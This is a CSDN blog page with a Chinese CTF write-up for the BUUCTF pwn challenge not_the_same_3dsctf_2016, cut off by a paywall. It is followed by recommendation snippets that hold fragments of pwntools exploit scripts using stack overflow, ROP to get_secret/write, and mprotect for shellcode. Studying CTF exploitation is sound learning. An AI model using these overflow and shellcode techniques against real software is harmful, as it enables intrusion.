buuctf——not_the_same_3dsctf_2016

最新推荐文章于 2023-01-12 20:29:14 发布

「已注销」

最新推荐文章于 2023-01-12 20:29:14 发布

阅读量513

点赞数 1

文章标签： pwn ubuntu python

本文链接：https://blog.csdn.net/qq_41560595/article/details/115229019

版权

这道题和前面分析过的get_started_3dsctf_2016差不多，换汤不换药。

选择一个地址0x080EB000，用来装shellcode。这个地址要改成可执行的。使用mprotect函数改变。

解题代码：

from pwn import *
#p=process("./not")
p=remote("node3.buuoj.cn",29607)
elf=ELF("./not")

read=elf.symbols["read

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

「已注销」

关注关注

1
点赞
踩
4

收藏

觉得还不错? 一键收藏
1
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

【BUUCTF - PWN】not_the_same_3dsctf_2016

古月浪子的博客

03-27

1580

checksec一下，可以栈溢出 IDA打开看看，直接可以溢出有一个后门函数，会把flag放在bss段上程序有write函数，通过rop把flag打印出来 from pwn import * from LibcSearcher import * context.os='linux' context.arch='i386' context.log_level='debug' sl=la...

buuctf之 not_the_same

qq_42728977的博客

02-19

638

题目：not_the_same_3dsctf_2016 环境：ubuntu14 漏洞点：栈溢出、mprotect、shellcode 思路：使用mprotect更改内存权限，通过栈溢出更改程序流程，读入shellcode并执行参考链接： get_started_3dsctf_2016-Pwn get_started_3dsctf_2016-Pwn 上来就这，感觉这个题很简单啊。再看看函数列表...

1 条评论您还未登录，请先登录后发表或查看评论

BUUCTF-not_the_same_3dsctf_2016

Fzuim的博客

03-03

1687

这是一道pwn题目IDA查看伪代码查看编译属性思路1，本地可打通，远程不行思路2，正确解法答案 IDA查看伪代码 main函数gets函数存在栈溢出攻击通过查看字符串列表，发现有个get_secret读取flag.txt后门函数查看编译属性思路1，本地可打通，远程不行也是最简单的，payload构造溢出返回到get_secret函数，并printf打印出fl4g，payload如下 #coding=utf8 from pwn import * context.log_level = 'deb

BUUCTF not_the_same_3dsctf_2016

红叶的博客

10-31

226

本题目本地与远程得用两种方案打。

【BUUCTFPWN】not_the_same_3dsctf_2016

热门推荐

yj_android_develop的博客

02-27

1万+

前言从之前智能指针的介绍中可以了解到智能指针主要作用是管理内存，避免内存泄漏和悬垂指针。之前介绍的不管是智能指针与引用计数详解还是智能指针与句柄详解，其核心就是通过一个类来管理被new出来的对象，具体的技术就是靠引用计数。 auto_ptr介绍 auto_ptr的实现原理其实就是RAII，在构造的时候获取资源，在析构的时候释放资源，并进行相关指针操作的重载，使用起来就像普通的指针。该智能指针已...

dgl源码阅读笔记（1）——update_all

weixin_43845522的博客

03-26

2514

dgl源码阅读笔记（1）——update_all 图神经网络开源库dgl阅读笔记文章目录dgl源码阅读笔记（1）——update_all前言一、update_all1、is_builtin2、message_passing3、invoke_gspmm4、_set_n_repr5、update 前言 update_all是dgl实现消息传递的重要函数，这里进行阅读了解在debug过程是运行GCN模型后引用的该函数，有些数据集特征数，比如2708等，都是受数据集影响的，在文中为了方便理解所以写了下来。

[PWN] BUUCTF not_the_same_3dsctf_2016 1 Writeup

Csome

05-21

573

解题 checksec 先checksec一下，发现没有开canary方便了栈溢出，PIE也没开反编译 IDA反编译 main函数 get_secret函数分析利用程序先进入main函数，有一个gets（无限长度的栈溢出） get_secret函数是将flag.txt读入bss段中，并没有做输出的操作思路：，在main函数中修改main函数的返回地址，返回到get_secret函数中，读取flag，再返回到mian函数中（第二次进入main函数），修改返回地址为printf的地址，传入flag

buu not_the_same_3dsctf_2016

weixin_51298357的博客

01-30

238

buu not_the_same_3dsctf_2016 刚拿到题刚打开的时候很懵，main函数里只有一个fopen函数和一个fgets函数，点半天也没查到什么。没有办法，shift+f12 ：查看程序内的字符串，发现了flag.txt 双击跟进，ctrl+x找到调用这个字符串的函数，可以看到，这个函数将flag读了出来，存放到了unk_80F91B的位置。我们找到了flag的位置。接下来就要尝试把它读取出来就好了。到这里，结合一开始看见的gets函数，得到了第一个思路：利用gets函数覆盖返回地址去

[BUUCTF-pwn]——not_the_same_3dsctf_2016

Y_peak的博客

02-10

896

not_the_same_3dsctf_2016 题目地址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016 首先checksec一下,看看32位程序在IDA中，发现栈溢出典型函数gets函数,这里注意这个main函数没有ebp shift+F12看下,发现了flag.txt这种敏感字符串找到调用的函数get_secret函数函数调用后,flag储存在fl4g里面,我们找到fl4g的位置找到可以输出的write函数下面我们就可

【CTF】not_the_same_3dsctf_2016

凉水的博客

01-30

3874

解题思路 1 先反编译，找到mian函数 undefined4 main(void) { char local_2d [45]; printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... "); gets(local_2d); return 0; } 一看到gets，就觉得靠谱了。 2 下一步找可利用函数，构造利用链。随便翻函数列表，没找到system以及/bin/sh，说明没有可以直接获取shell的方法；再继续翻，看到了get_secret函数，以及_

BUUCTF-PWN-not_the_same_3dsctf_2016

Henlenl的博客

05-19

212

文章目录查看文件信息IDA静态分析exp 查看文件信息开了个NX保护 IDA静态分析开始看上去其实就是利用gets()来溢出的我们可以 shift+f12 查看字符串可以看到 flag.txt 这个字符串我们进去看一看…开始的思路其实是利用gets函数溢出来覆盖返回地址去读出flag，然后利用get_secret函数的输入点造成溢出覆盖返回地址到write函数的地址，打印出unk_80CF91B里面储存flag的内容,但是要知道的是,fgets函数其实是有保护机制的,所以我们利用这个是读

buuctf not_the_same_3dsctf_2016

carol2358的博客

04-16

291

一开始没看到get_secret函数，去用mprotect去做了，结果报错卡住了。思路是用write把get_serect写到bss里的flag显示出来，write bss就可以。 exp： from pwn import * from LibcSearcher import * context(log_level = 'debug',arch ='i386',os = 'linux'...

buuctf|pwn-not_the_same_3dsctf_2016-wp

l2645470582_的博客

11-08

322

1.检查保护机制我们看到开了堆的保护 2.用32为的IDA打开该文件 shift+f12查看关键字符串，我们看到有‘flag.txt’关键字符我们就查找出后门函数的地址：0x080489A0 我们看到读取flag.txt,注意fgets函数，就是在f14g里面读取45个字符，我们猜测这就是flag 3.我们查看main函数里面有什么我们看到gets(&v4)有个溢出，我们看到v4地址是0x2D 4.rop ...

BUUCTF(pwn)not_the_same_3dsctf_2016

半岛铁盒的博客

03-28

259

from pwn import* p=remote('node3.buuoj.cn',29208) get_secret=0x80489a0 flag=0x80eca2d write=0x806e270 payload='a'*0x2d+p32(get_secret)+p32(write)+p32(0)+p32(1)+p32(flag)+p32(45) p.senline(payload) p.interactive() 有疑问的欢迎留言❄

BUUCTF not_the_same

doudoudedi

10-03

390

开始以为是简单的栈溢出发现可以调用的函数很少而且开启了nx，leak不了libc。这里需要将bss段设置成可读可写可执行，然后跳到bss段执行shellcode 我这里参数中有地址最好使用gadget exp: from pwn import * def debug(): gdb.attach(p) p=process('./notsame') #p=remote('node2.buuoj...